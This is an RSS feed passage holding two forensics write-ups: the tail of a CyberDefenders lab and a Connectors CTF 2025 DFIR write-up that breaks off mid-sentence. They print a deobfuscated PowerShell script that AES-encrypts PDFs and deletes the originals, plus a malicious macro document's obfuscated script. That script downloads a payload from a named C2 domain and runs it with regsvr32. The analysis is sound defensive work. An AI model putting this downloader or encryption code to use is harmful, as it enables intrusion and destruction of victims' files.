need to get <strong>“.hxd”</strong> file and try to analyze it using “<a href="https://mh-nexus.de/en/hxd/"><strong>HxD</strong></a>” tool.</p><p>finally found the silly “<strong>.hxd”</strong> file with pathC:\Users\&lt;username&gt;\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\hxStore.hxd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*W0_YQ4FV9bi1ldbJS98YpA.png"></figure><p>And install that <strong>.hxd </strong>file “<strong>Export Files</strong>” and analyze it using “<strong>HxD</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*Nrd0MN0PoaQ83eC6R8GExw.png"></figure><p>open the downloaded file using “<strong>HxD</strong>” , finding the same header in blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*W9zTtcLl8hSGFe7df3Z8mg.png"></figure><p>So it’s about how to search for the ip addresses, try to make this filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*3_Lrhf51vj0GpTJgX10agA.png"><figcaption><strong>Click Search all</strong></figcaption></figure><p>check on “<strong>Search all</strong>” and take a look at all search hits:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*LyWLoUQ78AZIwTFsbBGEnQ.png"></figure><p>double click to the blue search hit, you can get the ip addresses easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*MdeN40yh10GvyK1ScCczSA.png"><figcaption><strong>IP addresses can be found in these offsets</strong></figcaption></figure><blockquote><strong>Answer4 → </strong><em>145.67.29.88, 212.33.10.112, 192.168.16.128</em></blockquote><p><strong>Q5: By examining the malicious executable, we found that it uses an obfuscated script to decrypt specific files.<br>What predefined password does the script use for encryption?</strong></p><p>At this stage we need to download the malicious file and try to run static malware analysis on the malicious file (be aware to use safe environment)</p><p>After downloading the malicious file, we need to run “<a href="https://download.sysinternals.com/files/Strings.zip"><strong>strings</strong></a><strong><em>” </em></strong>on the file and redirect all strings inside a text file using something like this command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*fYbErd54Df3CYhsxyVuUNg.png"></figure><pre>.\strings.exe "D:\CYBERDEFENDERS\Silent_Breach\Downloads\IMF-Info.pdf.exe" &gt; file.txt</pre><p>open the output file on <a href="https://notepad-plus-plus.org/downloads/"><strong>Notepad++</strong></a><strong> </strong>for a better view, and try to see anything catchy. Found Nothing at all <strong>TBH </strong>:(</p><p>Now i got an idea to see the static analysis for the malicious file on <a href="https://www.virustotal.com/gui/home/upload"><strong>Virustotal</strong></a>, upload the file, and see the yara rules that matched</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SP15xUAMKE4Z7PBxOGCnlQ.png"></figure><p>Any of the <strong>High </strong>Crowd sourced Sigma Rules can lead you, just see the “<strong>View matches</strong>” tab and see the full command line executed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*dff_W8p4jBGPSXFJyAR1Ng.png"></figure><p>this .ps1 file seems very malicious, so let’s take a look at the strings output file we exported using “<a href="https://download.sysinternals.com/files/Strings.zip"><strong>strings</strong></a><strong><em>” </em></strong>tool. search for the “<strong>Gz3m6mG3j2TyAqF2Zx4v.ps1</strong>” file in <a href="https://notepad-plus-plus.org/downloads/"><strong>Notepad++</strong></a></p><p>which is make sense, as he said in the question it is a <strong>script </strong>so, “<strong>Gz3m6mG3j2TyAqF2Zx4v.ps1</strong>"<strong> </strong>is a powershell script, so we could've searched for any <strong>.ps1</strong> script and we will get this powershell script also!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*tFg7jQ5igPSzXbsSX4OwJQ.png"></figure><p>Found only 1 search hit. And also found a malicious obfuscated code right below the “<strong>Gz3m6mG3j2TyAqF2Zx4v.ps1</strong>" file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Pr0pNPHFp-d3G7ZdPfzug.png"></figure><p>So, using a simple python code to obfuscate that very loooong string starts with “<strong>K0QfK0QZjJ3bG1CIl</strong>”:</p><pre>import base64<br>obfuscated = """K0QfK0QZjJ3bG1CIlxWaGRXdw5WakASblRXStUmdv1WZSBCIgAiCNoQDpgSZz9GbD5SbhVmc0NFd19GJgACIgoQDpgSZz9GbD5SbhVmc0N1b0BXeyNGJgACIgoQDK0QKos2YvxmQsFmbpZEazVHbG5SbhVmc0N1b0BXeyNGJgACIgoQDpgGdn5WZM5yclRXeC5WahxGckACLwACLzVGd5JkbpFGbwRCKlRXaydlLtFWZyR3UvRHc5J3YkACIgAiCNoQDpUGdpJ3V6oTXlR2bN1WYlJHdT9GdwlncD5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBCLy9Gdwlncj5WZkACLtFWZyR3U0V3bkgSbhVmc0N1b0BXeyNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3UvRHc5J3YkACIgAiCNkSZ0FWZyNkO60VZk9WTlxWaG5yTJ5SblR3c5N1WgwSZslmR0VHc0V3bkgSbhVmc0NVZslmRu8USu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3U0V3bkACIgAiCNoQDpUGbpZEd1BnbpRCKzVGd5JEbsFEZhVmU6oTXlxWaG5yTJ5SblR3c5N1Wg0DIzVGd5JkbpFGbwRCIgACIK0gCNkCKy9Gdwlncj5WRlRXYlJ3QuMXZhRCI9AicvRHc5J3YuVGJgACIgoQDK0wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIn5WakRWYQ5yclFGJgACIgoQDDJ0Q6oTXlR2bNJXZoBXaD5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgUGZv1kLzVWYkACIgAiCNYXakASPgYVSuMXZhRCIgACIK0QeltGJg0DI5V2SuMXZhRCIgACIK0QKoUGdhVmcDpjOdNXZB5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgMXZhRCIgACIK0gCNcyYuVmLnACLnQiZkBnLcdCIlNWYsBXZy1CIlxWaGRXdw5WakASPgUGbpZEd1BHd19GJgACIgoQD7BSKzVGbpZEd1BnbpRCIulGIlxWaGRXdw5WakgCIoNWYlJ3bmpQDK0QKK0gImRGcu42bpN3cp1ULG1UScxFcvR3azVGRcxlbhhGdlxFXzJXZzVFXcpzQiACIgAiCNwiImRGcuQXZyNWZT1iRNlEXcB3b0t2clREXc5WYoRXZcx1cyV2cVxFX6MkIgACIgoQDoAEI9AyclxWaGRXdw5WakoQDzVGbpZGI0VHculGIm9GI0NXaMByIK0gCNkSZ6l2U2lGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgYXakoQDpUmepNVeltGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgkXZrRiCNkycu9Wa0FmclRXakACL0xWYzRCIsQmcvd3czFGckgyclRXeCVmdpJXZEhTO4IzYmJlL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DIzVGd5JUZ2lmclRGJK0gCNAiNxASPgUmepNldpRiCNACIgIzMg0DIlpXaTlXZrRiCNADMwATMg0DIz52bpRXYyVGdpRiCNkCOwgHMscDM4BDL2ADewwSNwgHMsQDM4BDLzADewwiMwgHMsEDM4BDKd11WlRXeCtFI9ACdsF2ckoQDiQyYlNVNyAjMj8mZuFiZtlkIg0DIkJ3b3N3chBHJ"""<br># Reverse it<br>reversed_base64 = obfuscated[::-1]<br># Decode from Base64<br>decoded = base64.b64decode(reversed_base64)<br># Try to print the result as UTF-8<br>try:<br>    print(decoded.decode('utf-8'))<br>except UnicodeDecodeError:<br>    print("[!] Could not decode fully. Might be binary or further obfuscated.")</pre><p>OR, using <a href="https://gchq.github.io/CyberChef/"><strong>cyberchef </strong></a>, by reading the obfuscated code, we can see that it reverse the long string and decode it with <strong>base64 </strong>decoder</p><p>do the same filter on <a href="https://gchq.github.io/CyberChef/"><strong>cyberchef</strong></a><strong> </strong>with the same order just like this, then add that very long string that starts with “<strong>K0QfK0QZjJ3bG1CIl</strong>”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*-EojaCMd1HiRAcNA3oWANA.png"><figcaption><strong>Reverse the string then decode it From Base64</strong></figcaption></figure><pre># ====================================<br># Decoded Powershell script<br># ====================================<br> <br>$password = "Imf!nfo#2025Sec$"<br>$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)<br>$iterations = 10000<br>$keySize = 32   <br>$ivSize = 16 <br><br>$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)<br>$key = $deriveBytes.GetBytes($keySize)<br>$iv = $deriveBytes.GetBytes($ivSize)<br><br># List of input files<br>$inputFiles = @(<br>    "C:\\Users\\ethan\\Desktop\\IMF-Secret.pdf",<br>    "C:\\Users\\ethan\\Desktop\\IMF-Mission.pdf"<br>)<br><br>foreach ($inputFile in $inputFiles) {<br>    $outputFile = $inputFile -replace '\.pdf$', '.enc'<br><br>    $aes = [System.Security.Cryptography.Aes]::Create()<br>    $aes.Key = $key<br>    $aes.IV = $iv<br>    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC<br>    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7<br><br>    $encryptor = $aes.CreateEncryptor()<br><br>    $plainBytes = [System.IO.File]::ReadAllBytes($inputFile)<br><br>    $outStream = New-Object System.IO.FileStream($outputFile, [System.IO.FileMode]::Create)<br>    $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outStream, $encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)<br><br>    $cryptoStream.Write($plainBytes, 0, $plainBytes.Length)<br>    $cryptoStream.FlushFinalBlock()<br><br>    $cryptoStream.Close()<br>    $outStream.Close()<br><br>    Remove-Item $inputFile -Force<br>}</pre><blockquote><strong><em>Answer5 → </em></strong><em>Imf!nfo#2025Sec$</em></blockquote><p><strong>Q6: After identifying how the script works, decrypt the files and submit the secret string.</strong></p><p>Now we need to decrypt encrypted file, these are the files on “<strong>/Desktop</strong>” :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*5IGW1cU3ux8H9weqvZLO6A.png"></figure><p>Dump these encrypted files that ends with “<strong>.enc</strong>” , and try to decrypt them.</p><p>With a little help from <strong>ChatGPT</strong>, we can make a <strong>powershell script </strong>to decrypt the dropped encrypted file:</p><pre># ====================================<br># AES Decryption Script for .enc Files<br># ====================================<br># --- Configuration ---<br>$password = "Imf!nfo#2025Sec$"<br>$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)<br>$iterations = 10000<br>$keySize = 32<br>$ivSize = 16<br><br># Derive Key and IV<br>$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)<br>$key = $deriveBytes.GetBytes($keySize)<br>$iv = $deriveBytes.GetBytes($ivSize)<br><br># --- Input Files (Update these paths) ---<br>$inputFiles = @(<br>    "D:\CYBERDEFENDERS\Silent_Breach\IMF-Secret.enc",<br>    "D:\CYBERDEFENDERS\Silent_Breach\IMF-Mission.enc"<br>)<br><br>foreach ($encFile in $inputFiles) {<br>    if (-not (Test-Path $encFile)) {<br>        Write-Warning "File not found: $encFile"<br>        continue<br>    }<br>    # Generate output path: replace .enc with .decrypted.pdf<br>    $outputFile = $encFile -replace '\.enc$', '.decrypted.pdf'<br>    try {<br>        # Set up AES decryption<br>        $aes = [System.Security.Cryptography.Aes]::Create()<br>        $aes.Key = $key<br>        $aes.IV = $iv<br>        $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC<br>        $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7<br><br>        $decryptor = $aes.CreateDecryptor()<br><br>        # Read encrypted data<br>        $cipherBytes = [System.IO.File]::ReadAllBytes($encFile)<br><br>        # Create streams for decryption<br>        $inStream = [System.IO.MemoryStream]::new([byte[]] $cipherBytes)<br>        $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($inStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)<br><br>        $buffer = New-Object byte[] $cipherBytes.Length<br>        $read = $cryptoStream.Read($buffer, 0, $buffer.Length)<br><br>        [System.IO.File]::WriteAllBytes($outputFile, $buffer[0..($read - 1)])<br><br>        $cryptoStream.Close()<br>        $inStream.Close()<br>        Write-Host "✅ Decrypted: $outputFile" -ForegroundColor Green<br>    }<br>    catch {<br>        Write-Error "❌ Failed to decrypt $encFile. Error: $_"<br>    }<br>}</pre><p>To run this script you can do the following :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*g8MZQ1X3GOGiT2c5qAci9g.png"></figure><pre>Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass<br># This command is to make your current PowerShell session run scripts freely.<br><br>./decrypt.ps1<br># to run the powershell script freely</pre><p>Finally, let's check the PDF files. Flag is hidden in the IMF-Mission.pdf file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*3v0ZWIIuGmblp5W0AKSUgQ.png"></figure><h3><strong>Thanks For Reading, You can Contact me via:</strong></h3><h4>LinkedIn : <a href="https://www.linkedin.com/in/loay-salah/">https://www.linkedin.com/in/loay-salah/</a></h4><h4>Discord : prankster99</h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c766dc7a9acb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/silent-breach-lab-writeup-cyberdefenders-c766dc7a9acb">Silent Breach Lab Writeup (CyberDefenders)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Connectors CTF 2025 — DFIR Challenges]]></title>
<description><![CDATA[Connectors CTF 2025 — DFIR ChallengesHappy to share my write-up for solving 3/3 DFIR challenges from CONCTF 2025. Although I didn’t attend the finals, I successfully completed all the DFIR challenges independently.You can read this writeup on my GitBook account Linkwe got a malicious document fil...]]></description>
<link>https://tsecurity.de/de/3599549/hacking/connectors-ctf-2025-dfir-challenges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599549/hacking/connectors-ctf-2025-dfir-challenges/</guid>
<pubDate>Mon, 15 Jun 2026 17:25:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Connectors CTF 2025 — DFIR Challenges</h3><p>Happy to share my write-up for solving 3/3 DFIR challenges from CONCTF 2025. Although I didn’t attend the finals, I successfully completed all the DFIR challenges independently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*WyIIfVXGPElMGl0YRvDHFg.png"></figure><blockquote>You can read this writeup on my GitBook account <a href="https://prankster.gitbook.io/prankster/ctf-writeups/connectors-ctf-2025-dfir-challenges">Link</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*O4JQA6b57h60QJkYm_TK1g.png"></figure><p>we got a malicious document file, have macros and other stuff.</p><p>first step is to extract the document file “<strong><em>Invoice_Q1–2021.doc</em></strong>” as any other zip, rar file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*Q2u-Q9rehyBIvm8DwF4dSA.png"></figure><p>and so on. after extracting the file, we can view all malicious stuff.</p><p>starting with “<strong><em>Invoice_Q1–2021\word\vbaData.xml</em></strong>” file, we can get the full MacroName, which is “<strong>PROJECT.AYAIQ5.AUTOOPEN</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1OEuFE1f1Dio7hKjRzgDFQ.png"></figure><p>moving on another “<strong><em>Invoice_Q1–2021\word\document.xml</em></strong>” we can see a lot of malicious stuff, that needs more investigation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NED9wdtibTDlUjM5304Z9g.png"></figure><pre>&lt;w:t&gt;&lt;html&gt;&lt;body&gt;&lt;div id="content"&gt;hello&lt;/div&gt;&lt;script language="javascript"&gt;var aWKdF = "a9oLN";function aUgasq(awFTPc){var aD07t = "a0EKB";acWBi = aD07t.toLowerCase();var aPWzqv = false;var aD0Mks = -41878;return(new ActiveXObject(awFTPc));}ae1Al = -8406;var azd3Iw = -28262;abKXU = "aYUGr";function aUrMf(aQPiI){var e={},i,b=0,c,x,l=0,a,a8qHR="",w=String.fromCharCode,L=aQPiI.length;var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(i=0;i&lt;64;i++){e[A.charAt(i)]=i;}for(x=0;x&lt;L;x++){c=e[aQPiI.charAt(x)];b=(b&lt;&lt;6)+c;l+=6;while(l&gt;=8){((a=(b&gt;&gt;&gt;(l-=8))&amp;0xff)||(x&lt;(L-2)))&amp;&amp;(a8qHR+=w(a));}}return(a8qHR);};a0chb2 = false;aPCUL7 = window;a1oWCZ = -33192;aBd7i = document;var aXhVs = "apKsW";aPCUL7.resizeTo(1, 1);aupXs7 = false;aXRTl2 = true;aPCUL7.moveTo(-100, -100);aJM8V1 = -49805;var amlU3 = -36589;var aTnbMl = 41478;var aTqS3V = "act038";var aKI6ix = aTqS3V.toLowerCase();aae3kO = 32908;aITus4 = "aoXe2L";var aDUOYP = aITus4.toString();var a3KlRp = aUrMf("CQkJCQkJdmFyIGFzeWRPcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOw0KCQkJCQkJYXN5ZE9xLm9wZW4oIkdFVCIsICJodHRwOi8vNXRoYXQ2LmNvbS9hc3NldHMvNTVkZGI3NzUvY2U1MTAyNWIxMi85Yjc1YmJjZS84YTA2ZmQ0Ny82YWM4NGU3NDI0YjA1MzkyODY1NjJiL3h0dWFxMTQ/YW56PTEyNWM1OTA5JmRsendnPTdhZWMxNjdhNWEyYWIwJmJ1PWEwOWY3NDAiLCBmYWxzZSk7DQoJCQkJCQlhc3lkT3Euc2VuZCgpOw0KDQoJCQkJCQlpZihhc3lkT3Euc3RhdHVzID09IDIwMCkNCgkJCQkJCXsNCgkJCQkJCQl2YXIgYWJVc1ggPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQoJCQkJCQkJYWJVc1gub3BlbjsNCgkJCQkJCQlhYlVzWC50eXBlID0gMTsNCgkJCQkJCQlhYlVzWC53cml0ZShhc3lkT3EucmVzcG9uc2Vib2R5KTsNCgkJCQkJCQlhYlVzWC5zYXZldG9maWxlKCJjOlxccHJvZ3JhbWRhdGFcXGFaZTRJLnRtcCIsIDIpOw0KCQkJCQkJCWFiVXNYLmNsb3NlOw0KCQkJCQkJfQ==");var aE1HIO = aUrMf("CQkJCQkJCW5ldyBBY3RpdmVYT2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikucnVuKCJyZWdzdnIzMiBjOlxccHJvZ3JhbWRhdGFcXGFaZTRJLnRtcCIpOw0KCQkJCQkJCXZhciBhRVFicFUgPSBuZXcgQWN0aXZlWE9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCgkJCQkJCQlhRVFicFUuZGVsZXRlZmlsZSgiYzpcXHByb2dyYW1kYXRhXFxhWmU0SS5odGEiKTs=");&lt;/script&gt;&lt;script language="javascript"&gt;var a4EQx = -19950;function aQ3AaU(a71O9o){var an6WK = "aRLg9";var a5X0Gz = an6WK.toLowerCase();var a8B3lh = "aSwVuU";aUaQNt = a8B3lh.toLowerCase();var akSl73 = aUgasq("msscriptcontrol.scriptcontrol");arCgh1 = "aHX0J";akSl73.Language = "jscript";var aM86j = true;aVTiFm = -35420;akSl73.Timeout = 60000;amH0b = true;axXiRp = true;akSl73.AddCode(a71O9o);axGBr = 38917;var a30g4 = true;return(null);}&lt;/script&gt;&lt;script language="vbscript"&gt;aQ3AaU a3KlRp : aQ3AaU aE1HIO : aPCUL7.close&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;&lt;/w:t&gt;</pre><p>after investigation, we can see 2 big encoded base64 text:</p><pre>CQkJCQkJdmFyIGFzeWRPcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOw0KCQkJCQkJYXN5ZE9xLm9wZW4oIkdFVCIsICJodHRwOi8vNXRoYXQ2LmNvbS9hc3NldHMvNTVkZGI3NzUvY2U1MTAyNWIxMi85Yjc1YmJjZS84YTA2ZmQ0Ny82YWM4NGU3NDI0YjA1MzkyODY1NjJiL3h0dWFxMTQ/YW56PTEyNWM1OTA5JmRsendnPTdhZWMxNjdhNWEyYWIwJmJ1PWEwOWY3NDAiLCBmYWxzZSk7DQoJCQkJCQlhc3lkT3Euc2VuZCgpOw0KDQoJCQkJCQlpZihhc3lkT3Euc3RhdHVzID09IDIwMCkNCgkJCQkJCXsNCgkJCQkJCQl2YXIgYWJVc1ggPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZGIuc3RyZWFtIik7DQoJCQkJCQkJYWJVc1gub3BlbjsNCgkJCQkJCQlhYlVzWC50eXBlID0gMTsNCgkJCQkJCQlhYlVzWC53cml0ZShhc3lkT3EucmVzcG9uc2Vib2R5KTsNCgkJCQkJCQlhYlVzWC5zYXZldG9maWxlKCJjOlxccHJvZ3JhbWRhdGFcXGFaZTRJLnRtcCIsIDIpOw0KCQkJCQkJCWFiVXNYLmNsb3NlOw0KCQkJCQkJfQ==<br><br>CQkJCQkJCW5ldyBBY3RpdmVYT2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikucnVuKCJyZWdzdnIzMiBjOlxccHJvZ3JhbWRhdGFcXGFaZTRJLnRtcCIpOw0KCQkJCQkJCXZhciBhRVFicFUgPSBuZXcgQWN0aXZlWE9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCgkJCQkJCQlhRVFicFUuZGVsZXRlZmlsZSgiYzpcXHByb2dyYW1kYXRhXFxhWmU0SS5odGEiKTs=</pre><p>Now let’s take a look on <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&amp;input=Q1FrSkNRa0pkbUZ5SUdGemVXUlBjU0E5SUc1bGR5QkJZM1JwZG1WWVQySnFaV04wS0NKdGMzaHRiREl1ZUcxc2FIUjBjQ0lwT3cwS0NRa0pDUWtKWVhONVpFOXhMbTl3Wlc0b0lrZEZWQ0lzSUNKb2RIUndPaTh2TlhSb1lYUTJMbU52YlM5aGMzTmxkSE12TlRWa1pHSTNOelV2WTJVMU1UQXlOV0l4TWk4NVlqYzFZbUpqWlM4NFlUQTJabVEwTnk4MllXTTROR1UzTkRJMFlqQTFNemt5T0RZMU5qSmlMM2gwZFdGeE1UUS9ZVzU2UFRFeU5XTTFPVEE1Sm1Sc2VuZG5QVGRoWldNeE5qZGhOV0V5WVdJd0ptSjFQV0V3T1dZM05EQWlMQ0JtWVd4elpTazdEUW9KQ1FrSkNRbGhjM2xrVDNFdWMyVnVaQ2dwT3cwS0RRb0pDUWtKQ1FscFppaGhjM2xrVDNFdWMzUmhkSFZ6SUQwOUlESXdNQ2tOQ2drSkNRa0pDWHNOQ2drSkNRa0pDUWwyWVhJZ1lXSlZjMWdnUFNCdVpYY2dRV04wYVhabFdFOWlhbVZqZENnaVlXUnZaR0l1YzNSeVpXRnRJaWs3RFFvSkNRa0pDUWtKWVdKVmMxZ3ViM0JsYmpzTkNna0pDUWtKQ1FsaFlsVnpXQzUwZVhCbElEMGdNVHNOQ2drSkNRa0pDUWxoWWxWeldDNTNjbWwwWlNoaGMzbGtUM0V1Y21WemNHOXVjMlZpYjJSNUtUc05DZ2tKQ1FrSkNRbGhZbFZ6V0M1ellYWmxkRzltYVd4bEtDSmpPbHhjY0hKdlozSmhiV1JoZEdGY1hHRmFaVFJKTG5SdGNDSXNJRElwT3cwS0NRa0pDUWtKQ1dGaVZYTllMbU5zYjNObE93MEtDUWtKQ1FrSmZRPT0KCkNRa0pDUWtKQ1c1bGR5QkJZM1JwZG1WWVQySnFaV04wS0NKM2MyTnlhWEIwTG5Ob1pXeHNJaWt1Y25WdUtDSnlaV2R6ZG5Jek1pQmpPbHhjY0hKdlozSmhiV1JoZEdGY1hHRmFaVFJKTG5SdGNDSXBPdzBLQ1FrSkNRa0pDWFpoY2lCaFJWRmljRlVnUFNCdVpYY2dRV04wYVhabFdFOWlhbVZqZENnaWMyTnlhWEIwYVc1bkxtWnBiR1Z6ZVhOMFpXMXZZbXBsWTNRaUtUc05DZ2tKQ1FrSkNRbGhSVkZpY0ZVdVpHVnNaWFJsWm1sc1pTZ2lZenBjWEhCeWIyZHlZVzFrWVhSaFhGeGhXbVUwU1M1b2RHRWlLVHM9&amp;oeol=CRLF"><strong>cyberchef</strong></a>, we can answer all other question immediately:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*gZoXyg80SCM_xA7n_-DpPg.png"></figure><p>c2 domain: <strong><em>5that6[.]com</em></strong></p><p>payload file name: <strong><em>aZe4I.tmp</em></strong></p><p>system utility used for execution: <strong><em>regsvr32</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*rGlVaKw8W5_EM8f6WZZGPQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*IOmGkK33GjI51eb_0T8pRA.png"></figure><p>we have a disk image “<strong><em>image.ad1</em></strong>” file, that starts its partition from “<strong><em>C:\Users\tarok\AppData</em></strong>”. so we don’t have so much to see here.</p><p>I systematically examined all files within the disk image, found the “<strong><em>UsrClass.dat</em></strong>” file, which resides in “<strong><em>C:\Users\tarok\AppData\Local\Microsoft\Windows\UsrClass.dat</em></strong>”.</p><p>it contains settings for apps and Windows shell (e.g., recent files, UI customizations) and so on for each user.</p><p>opening the BagMru key path, which resides in “<strong><em>UsrClass.dat:<br>Local Settings\Software\Microsoft\Windows\Shell\BagMRU\</em></strong>”</p><p>found something very interesting that attracted my eyes directly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*O4QtDq5QQ8leIcXtQa5N1g.png"><figcaption>very weird data</figcaption></figure><p>found this in reg path “<strong>UsrClass.dat: Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1</strong>”</p><p>we need a deep investigation so let’s dig deeper with ShellBags Explorer by the GOAT Eric Zimmerman<br>Load offline Hive but remember — You must dump it’s log file<strong><em> </em></strong>“<strong><em>UsrClass.dat.LOG1</em></strong>” to parse correctly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*S68bZEm1hxfvIkvMcEratA.png"><figcaption><strong>It couldn’t be clearer than that</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*jQmpbCVoTKLzgzeTy2Zzyg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*rQBnoWLpSX_Lq8MSXcAlKA.png"></figure><p>After an extensive investigation on the provided disk image we have here,</p><p>Initially, I examined all web browser data. While the Edge history database yielded no results, I identified an interesting visited websites in Firefox’s history database C:\Users\Wh1pl4sh\AppData\Roaming\Mozilla\Firefox\fvdbjn8o.default-release\places.sqlite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*vsUm7kpWxP4_9EBWBH5yiA.png"></figure><p>found that he searched for “<strong><em>metamask</em></strong>”, which is a cryptocurrency wallet and browser extension that lets users manage Ethereum-based assets and interact with decentralized applications (dApps)</p><p>He also searched for a very important medium link of how to get the seed phrase.</p><p><a href="https://medium.com/@estebankiteboarding/how-i-helped-to-recover-300k-usd-in-eth-and-nfts-from-metamask-de307ba5f942">How I helped to recover 300K USD in ETH and NFT’s from metamask…</a></p><p>we got a very important insight of what we are looking for exactly, and a very valuable website can be used to decrypt the data we are seeking of</p><p><a href="https://metamask.github.io/vault-decryptor/">MetaMask Vault Decryptor</a></p><p>With more deep investigation, i discovered the “<strong>metamask</strong>”<strong> </strong>extension in the default Firefox profile located at: C:\Users\Wh1pl4sh\AppData\Roaming\Mozilla\Firefox\fvdbjn8o.default-release\storage\default\&lt;HERE&gt;</p><p>It’s time to research, i’ve searched about how to recover my secret recovery phrase correctly, and found this precocious link, which is from metamask support themselves.</p><p><a href="https://support.metamask.io/configure/wallet/how-to-recover-your-secret-recovery-phrase/">How to recover your Secret Recovery Phrase | MetaMask Help Center</a></p><p>reading the firefox section carefully, we can see how to retrieve the data correctly step by step, but i have a better idea.</p><p>with more and more investigation, we can only get the correct database that contains the encrypted data, instead of what the support say exactly.</p><p>after a lot of digging, i found the database that contains the encrypted data:</p><p>C:\Users\Wh1pl4sh\AppData\Roaming\Mozilla\Firefox\fvdbjn8o.default-release\storage\default\moz-extension+++9d43d20e-c6b8-4b71-b6ad-5a503dedc147\idb\3117620802mpeutkacmaabs-k.sqlite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iG8wFRK5tF5uJdhzvigCiQ.png"></figure><p>The keys are Caesar Ciphered as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*M4ioRKTeQQir2PjLttRgbg.png"></figure><p>our encrypted vault are in “<strong><em>0KeyringController</em></strong>”, let’s take a 